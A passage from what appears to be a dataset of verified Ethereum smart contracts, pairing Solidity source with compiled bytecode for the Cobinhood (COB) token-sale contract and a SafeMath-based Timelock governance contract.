balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will recieve the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract CobinhoodToken is StandardToken, Ownable {
using SafeMath for uint256;
// Token Info.
string public constant name = "Cobinhood Token";
string public constant symbol = "COB";
uint8 public constant decimals = 18;
// Sale period.
uint256 public startDate;
uint256 public endDate;
// Token Cap for each rounds
uint256 public saleCap;
// Address where funds are collected.
address public wallet;
// Amount of raised money in wei.
uint256 public weiRaised;
// Cobinhood user ID
mapping(address => bytes32) public cobinhoodUserIDs;
// Event
event TokenPurchase(address indexed purchaser, uint256 value,
uint256 amount);
event PreICOTokenPushed(address indexed buyer, uint256 amount);
event UserIDChanged(address owner, bytes32 user_id);
// Modifiers
modifier uninitialized() {
require(wallet == 0x0);
_;
}
function CobinhoodToken() {
}
function initialize(address _wallet, uint256 _start, uint256 _end,
uint256 _saleCap, uint256 _totalSupply)
onlyOwner uninitialized {
require(_start >= getCurrentTimestamp());
require(_start < _end);
require(_wallet != 0x0);
require(_totalSupply > _saleCap);
startDate = _start;
endDate = _end;
saleCap = _saleCap;
wallet = _wallet;
totalSupply = _totalSupply;
balances[wallet] = _totalSupply.sub(saleCap);
balances[0x1] = saleCap;
}
function supply() internal returns (uint256) {
return balances[0x1];
}
function getCurrentTimestamp() internal returns (uint256) {
return now;
}
function getRateAt(uint256 at) constant returns (uint256) {
if (at < startDate) {
return 0;
} else if (at < (startDate + 7 days)) {
return 5600;
} else if (at < (startDate + 14 days)) {
return 5200;
} else if (at < (startDate + 21 days)) {
return 4800;
} else if (at < (startDate + 28 days)) {
return 4400;
} else if (at <= endDate) {
return 4000;
} else {
return 0;
}
}
// Fallback function can be used to buy tokens
function () payable {
buyTokens(msg.sender, msg.value);
}
// For pushing pre-ICO records
function push(address buyer, uint256 amount) onlyOwner {
require(balances[wallet] >= amount);
uint256 actualRate = 6000; // pre-ICO has a fixed rate of 6000
uint256 weiAmount = amount.div(actualRate);
uint256 updatedWeiRaised = weiRaised.add(weiAmount);
// Transfer
balances[wallet] = balances[wallet].sub(amount);
balances[buyer] = balances[buyer].add(amount);
PreICOTokenPushed(buyer, amount);
// Update state.
weiRaised = updatedWeiRaised;
}
function buyTokens(address sender, uint256 value) internal {
require(saleActive());
require(value >= 0.1 ether);
uint256 weiAmount = value;
uint256 updatedWeiRaised = weiRaised.add(weiAmount);
// Calculate token amount to be purchased
uint256 actualRate = getRateAt(getCurrentTimestamp());
uint256 amount = weiAmount.mul(actualRate);
// We have enough token to sale
require(supply() >= amount);
// Transfer
balances[0x1] = balances[0x1].sub(amount);
balances[sender] = balances[sender].add(amount);
TokenPurchase(sender, weiAmount, amount);
// Update state.
weiRaised = updatedWeiRaised;
// Forward the fund to fund collection wallet.
wallet.transfer(msg.value);
}
function finalize() onlyOwner {
require(!saleActive());
// Transfer the rest of token to Cobinhood
balances[wallet] = balances[wallet].add(balances[0x1]);
balances[0x1] = 0;
}
function saleActive() public constant returns (bool) {
return (getCurrentTimestamp() >= startDate &&
getCurrentTimestamp() < endDate && supply() > 0);
}
function setUserID(bytes32 user_id) {
cobinhoodUserIDs[msg.sender] = user_id;
UserIDChanged(msg.sender, user_id);
}
}
|
0x606060405236156101175763ffffffff60e060020a60003504166306fdde03811461012a578063078fd9ea146101b5578063095ea7b3146101da5780630b97bc861461021057806318160ddd1461023557806323b872dd1461025a578063313ce567146102965780634042b66f146102bf5780634bb278f3146102e4578063521eb273146102f957806368428a1b1461032857806370a082311461034f5780638da5cb5b1461038057806395d89b41146103af578063a77c61f21461043a578063a9059cbb1461046b578063b52e0dc8146104a1578063b753a98c146104c9578063c24a0f8b146104ed578063c3262dfd14610512578063dd62ed3e1461052a578063f2fde38b14610561578063f92ad21914610582575b6101285b61012533346105af565b5b565b005b341561013557600080fd5b61013d61072c565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561017a5780820151818401525b602001610161565b50505050905090810190601f1680156101a75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101c057600080fd5b6101c8610758565b60405190815260200160405180910390f35b34156101e557600080fd5b6101fc600160a060020a036004351660243561075e565b604051901515815260200160405180910390f35b341561021b57600080fd5b6101c8610805565b60405190815260200160405180910390f35b341561024057600080fd5b6101c861080b565b60405190815260200160405180910390f35b341561026557600080fd5b6101fc600160a060020a0360043581169060243516604435610811565b604051901515815260200160405180910390f35b34156102a157600080fd5b6102a9610914565b60405160ff909116815260200160405180910390f35b34156102ca57600080fd5b6101c8610919565b60405190815260200160405180910390f35b34156102ef57600080fd5b61012861091f565b005b341561030457600080fd5b61030c6109bd565b604051600160a060020a03909116815260200160405180910390f35b341561033357600080fd5b6101fc6109cc565b604051901515815260200160405180910390f35b341561035a57600080fd5b6101c8600160a060020a0360043516610a08565b60405190815260200160405180910390f35b341561038b57600080fd5b61030c610a27565b604051600160a060020a03909116815260200160405180910390f35b34156103ba57600080fd5b61013d610a36565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561017a5780820151818401525b602001610161565b50505050905090810190601f1680156101a75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561044557600080fd5b6101c8600160a060020a0360043516610a56565b60405190815260200160405180910390f35b341561047657600080fd5b6101fc600160a060020a0360043516602435610a68565b604051901515815260200160405180910390f35b34156104ac57600080fd5b6101c8600435610b16565b60405190815260200160405180910390f35b34156104d457600080fd5b610128600160a060020a0360043516602435610baf565b005b34156104f857600080fd5b6101c8610cea565b60405190815260200160405180910390f35b341561051d57600080fd5b610128600435610cf0565b005b341561053557600080fd5b6101c8600160a060020a0360043581169060243516610d56565b60405190815260200160405180910390f35b341561056c57600080fd5b610128600160a060020a0360043516610d83565b005b341561058d57600080fd5b610128600160a060020a0360043516602435604435606435608435610dce565b005b6000806000806105bd6109cc565b15156105c857600080fd5b67016345785d8a00008510156105dd57600080fd5b6008548594506105f3908563ffffffff610eb916565b9250610605610600610ed3565b610b16565b9150610617848363ffffffff610ed816565b905080610622610f07565b101561062d57600080fd5b60016000819052602052600080516020610f5983398151915254610657908263ffffffff610f2516565b6001602052600080516020610f5983398151915255600160a060020a03861660009081526040902054610690908263ffffffff610eb916565b600160a060020a0387166000818152600160205260409081902092909255907fcd60aa75dea3072fbc07ae6d7d856b5dc5f4eee88854f5b4abf7b680ef8bc50f90869084905191825260208201526040908101905180910390a26008839055600754600160a060020a03163480156108fc0290604051600060405180830381858888f19350505050151561072357600080fd5b5b505050505050565b60408051908101604052600f8152608960020a6e21b7b134b73437b7b2102a37b5b2b702602082015281565b60065481565b60008115806107905750600160a060020a03338116600090815260026020908152604080832093871683529290522054155b151561079b57600080fd5b600160a060020a03338116600081815260026020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b60045481565b60005481565b600160a060020a038084166000908152600260209081526040808320338516845282528083205493861683526001909152812054909190610858908463ffffffff610eb916565b600160a060020a03808616600090815260016020526040808220939093559087168152205461088d908463ffffffff610f2516565b600160a060020a0386166000908152600160205260409020556108b6818463ffffffff610f2516565b600160a060020a0380871660008181526002602090815260408083203386168452909152908190209390935590861691600080516020610f798339815191529086905190815260200160405180910390a3600191505b509392505050565b601281565b60085481565b60035433600160a060020a0390811691161461093a57600080fd5b6109426109cc565b1561094c57600080fd5b6001602052600080516020610f5983398151915254600754600160a060020a0316600090815260409020546109869163ffffffff610eb916565b600754600160a060020a03166000908152600160208190526040822092909255908152600080516020610f59833981519152555b5b565b600754600160a060020a031681565b60006004546109d9610ed3565b101580156109ef57506005546109ed610ed3565b105b8015610a0257506000610a00610f07565b115b90505b90565b600160a060020a0381166000908152600160205260409020545b919050565b600354600160a060020a031681565b604080519081016040526003815260e960020a6221a7a102602082015281565b60096020526000908152604090205481565b600160a060020a033316600090815260016020526040812054610a91908363ffffffff610f2516565b600160a060020a033381166000908152600160205260408082209390935590851681522054610ac6908363ffffffff610eb916565b600160a060020a038085166000818152600160205260409081902093909355913390911690600080516020610f798339815191529085905190815260200160405180910390a35060015b92915050565b6000600454821015610b2a57506000610a22565b60045462093a8001821015610b4257506115e0610a22565b6004546212750001821015610b5a5750611450610a22565b600454621baf8001821015610b7257506112c0610a22565b6004546224ea0001821015610b8a5750611130610a22565b6005548211610b9c5750610fa0610a22565b506000610a22565b5b5b5b5b5b5b919050565b6003546000908190819033600160a060020a03908116911614610bd157600080fd5b600754600160a060020a031660009081526001602052604090205484901015610bf957600080fd5b6117709250610c0e848463ffffffff610f3c16565b600854909250610c24908363ffffffff610eb916565b600754600160a060020a0316600090815260016020526040902054909150610c52908563ffffffff610f2516565b600754600160a060020a039081166000908152600160205260408082209390935590871681522054610c8a908563ffffffff610eb916565b600160a060020a0386166000818152600160205260409081902092909255907fdb2d10a559cb6e14fee5a7a2d8c216314e11c22404e85a4f9af45f07c87192bb9086905190815260200160405180910390a260088190555b5b5050505050565b60055481565b33600160a060020a038116600090815260096020526040908190208390557fa1a3e4c7b21b6004c77b4fe18bdd0d1bd1be31dbb88112463524daa9abacb8369190839051600160a060020a03909216825260208201526040908101905180910390a15b50565b600160a060020a038083166000908152600260209081526040808320938516835292905220545b92915050565b60035433600160a060020a03908116911614610d9e57600080fd5b600160a060020a03811615610d535760038054600160a060020a031916600160a060020a0383161790555b5b5b50565b60035433600160a060020a03908116911614610de957600080fd5b600754600160a060020a031615610dff57600080fd5b610e07610ed3565b841015610e1357600080fd5b828410610e1f57600080fd5b600160a060020a0385161515610e3457600080fd5b818111610e4057600080fd5b60048490556005839055600682905560078054600160a060020a031916600160a060020a0387161790556000819055610e798183610f25565b600754600160a060020a03166000908152600160208190526040822092909255600654919052600080516020610f59833981519152555b5b5b5050505050565b600082820183811015610ec857fe5b8091505b5092915050565b425b90565b6000828202831580610ef45750828482811515610ef157fe5b04145b1515610ec857fe5b8091505b5092915050565b60016000819052602052600080516020610f59833981519152545b90565b600082821115610f3157fe5b508082035b92915050565b6000808284811515610f4a57fe5b0490508091505b50929150505600cc69885fda6bcc1a4ace058b4a62bf5e179ea78fd58a1ccd71c22cc9b688792fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820c32e87eaebf94bb6d4bfde56c89710893b0df34d6754bfba8f8c879a03c8db7f0029
|
{"success": true, "error": null, "results": {}}
| 8,789 |
0xa446056f94daa4338eadcc1aa2f9c3c676bd422d
|
/**
*Submitted for verification at Etherscan.io on 2020-09-16
*/
/**
*Submitted for verification at Etherscan.io on 2020-09-14
*/
pragma solidity ^0.5.16;
// From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol
// Subject to the MIT license.
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the addition of two unsigned integers, reverting with custom message on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction underflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts with custom message on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Timelock {
using SafeMath for uint;
event NewAdmin(address indexed newAdmin);
event NewPendingAdmin(address indexed newPendingAdmin);
event NewDelay(uint indexed newDelay);
event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
uint public constant GRACE_PERIOD = 14 days;
uint public constant MINIMUM_DELAY = 1 hours;
uint public constant MAXIMUM_DELAY = 30 days;
address public admin;
address public pendingAdmin;
uint public delay;
mapping (bytes32 => bool) public queuedTransactions;
constructor(address admin_, uint delay_) public {
require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay.");
admin = admin_;
delay = delay_;
}
function() external payable { }
function setDelay(uint delay_) public {
require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock.");
require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay.");
delay = delay_;
emit NewDelay(delay);
}
function acceptAdmin() public {
require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin.");
admin = msg.sender;
pendingAdmin = address(0);
emit NewAdmin(admin);
}
function setPendingAdmin(address pendingAdmin_) public {
require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock.");
pendingAdmin = pendingAdmin_;
emit NewPendingAdmin(pendingAdmin);
}
function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) {
require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin.");
require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = true;
emit QueueTransaction(txHash, target, value, signature, data, eta);
return txHash;
}
function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public {
require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = false;
emit CancelTransaction(txHash, target, value, signature, data, eta);
}
function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) {
require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued.");
require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock.");
require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale.");
queuedTransactions[txHash] = false;
bytes memory callData;
if (bytes(signature).length == 0) {
callData = data;
} else {
callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);
}
// solium-disable-next-line security/no-call-value
(bool success, bytes memory returnData) = target.call.value(value)(callData);
require(success, "Timelock::executeTransaction: Transaction execution reverted.");
emit ExecuteTransaction(txHash, target, value, signature, data, eta);
return returnData;
}
function getBlockTimestamp() internal view returns (uint) {
// solium-disable-next-line security/no-block-members
return block.timestamp;
}
}
|
0x6080604052600436106100d25760003560e01c80636a42b8f81161007f578063c1a287e211610059578063c1a287e21461063a578063e177246e1461064f578063f2b0653714610679578063f851a440146106b7576100d2565b80636a42b8f8146105fb5780637d645fab14610610578063b1b43ae514610625576100d2565b80633a66f901116100b05780633a66f901146102ed5780634dd18bf51461045d578063591fcdfe1461049d576100d2565b80630825f38f146100d45780630e18b6811461029a57806326782247146102af575b005b610225600480360360a08110156100ea57600080fd5b73ffffffffffffffffffffffffffffffffffffffff8235169160208101359181019060608101604082013564010000000081111561012757600080fd5b82018360208201111561013957600080fd5b8035906020019184600183028401116401000000008311171561015b57600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092959493602081019350359150506401000000008111156101ae57600080fd5b8201836020820111156101c057600080fd5b803590602001918460018302840111640100000000831117156101e257600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955050913592506106cc915050565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561025f578181015183820152602001610247565b50505050905090810190601f16801561028c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102a657600080fd5b506100d2610d4a565b3480156102bb57600080fd5b506102c4610e32565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b3480156102f957600080fd5b5061044b600480360360a081101561031057600080fd5b73ffffffffffffffffffffffffffffffffffffffff8235169160208101359181019060608101604082013564010000000081111561034d57600080fd5b82018360208201111561035f57600080fd5b8035906020019184600183028401116401000000008311171561038157600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092959493602081019350359150506401000000008111156103d457600080fd5b8201836020820111156103e657600080fd5b8035906020019184600183028401116401000000008311171561040857600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610e4e915050565b60408051918252519081900360200190f35b34801561046957600080fd5b506100d26004803603602081101561048057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166111c7565b3480156104a957600080fd5b506100d2600480360360a08110156104c057600080fd5b73ffffffffffffffffffffffffffffffffffffffff823516916020810135918101906060810160408201356401000000008111156104fd57600080fd5b82018360208201111561050f57600080fd5b8035906020019184600183028401116401000000008311171561053157600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929594936020810193503591505064010000000081111561058457600080fd5b82018360208201111561059657600080fd5b803590602001918460018302840111640100000000831117156105b857600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250611294915050565b34801561060757600080fd5b5061044b611598565b34801561061c57600080fd5b5061044b61159e565b34801561063157600080fd5b5061044b6115a5565b34801561064657600080fd5b5061044b6115ab565b34801561065b57600080fd5b506100d26004803603602081101561067257600080fd5b50356115b2565b34801561068557600080fd5b506106a36004803603602081101561069c57600080fd5b50356116f4565b604080519115158252519081900360200190f35b3480156106c357600080fd5b506102c4611709565b60005460609073ffffffffffffffffffffffffffffffffffffffff16331461073f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260388152602001806117a56038913960400191505060405180910390fd5b60008686868686604051602001808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156107c85781810151838201526020016107b0565b50505050905090810190601f1680156107f55780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610828578181015183820152602001610810565b50505050905090810190601f1680156108555780820380516001836020036101000a031916815260200191505b50604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081840301815291815281516020928301206000818152600390935291205490995060ff1697506108fe9650505050505050576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603d8152602001806118f8603d913960400191505060405180910390fd5b82610907611725565b101561095e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260458152602001806118476045913960600191505060405180910390fd5b610971836212750063ffffffff61172916565b610979611725565b11156109d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260338152602001806118146033913960400191505060405180910390fd5b600081815260036020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001690558451606090610a14575083610ae9565b85805190602001208560405160200180837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260040182805190602001908083835b60208310610ab157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe09092019160209182019101610a74565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405290505b600060608973ffffffffffffffffffffffffffffffffffffffff1689846040518082805190602001908083835b60208310610b5357805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe09092019160209182019101610b16565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610bb5576040519150601f19603f3d011682016040523d82523d6000602084013e610bba565b606091505b509150915081610c15576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603d8152602001806119db603d913960400191505060405180910390fd5b8973ffffffffffffffffffffffffffffffffffffffff16847fa560e3198060a2f10670c1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610c9f578181015183820152602001610c87565b50505050905090810190601f168015610ccc5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610cff578181015183820152602001610ce7565b50505050905090810190601f168015610d2c5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39998505050505050505050565b60015473ffffffffffffffffffffffffffffffffffffffff163314610dba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260388152602001806119356038913960400191505060405180910390fd5b60008054337fffffffffffffffffffffffff0000000000000000000000000000000000000000918216178083556001805490921690915560405173ffffffffffffffffffffffffffffffffffffffff909116917f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c91a2565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b6000805473ffffffffffffffffffffffffffffffffffffffff163314610ebf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806119a56036913960400191505060405180910390fd5b610ed9600254610ecd611725565b9063ffffffff61172916565b821015610f31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526049815260200180611a186049913960600191505060405180910390fd5b60008686868686604051602001808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610fba578181015183820152602001610fa2565b50505050905090810190601f168015610fe75780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561101a578181015183820152602001611002565b50505050905090810190601f1680156110475780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060016003600083815260200190815260200160002060006101000a81548160ff0219169083151502179055508673ffffffffffffffffffffffffffffffffffffffff16817f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f88888888604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561111f578181015183820152602001611107565b50505050905090810190601f16801561114c5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561117f578181015183820152602001611167565b50505050905090810190601f1680156111ac5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39695505050505050565b33301461121f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603881526020018061196d6038913960400191505060405180910390fd5b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff83811691909117918290556040519116907f69d78e38a01985fbb1462961809b4b2d65531bc93b2b94037f3334b82ca4a75690600090a250565b60005473ffffffffffffffffffffffffffffffffffffffff163314611304576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260378152602001806117dd6037913960400191505060405180910390fd5b60008585858585604051602001808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005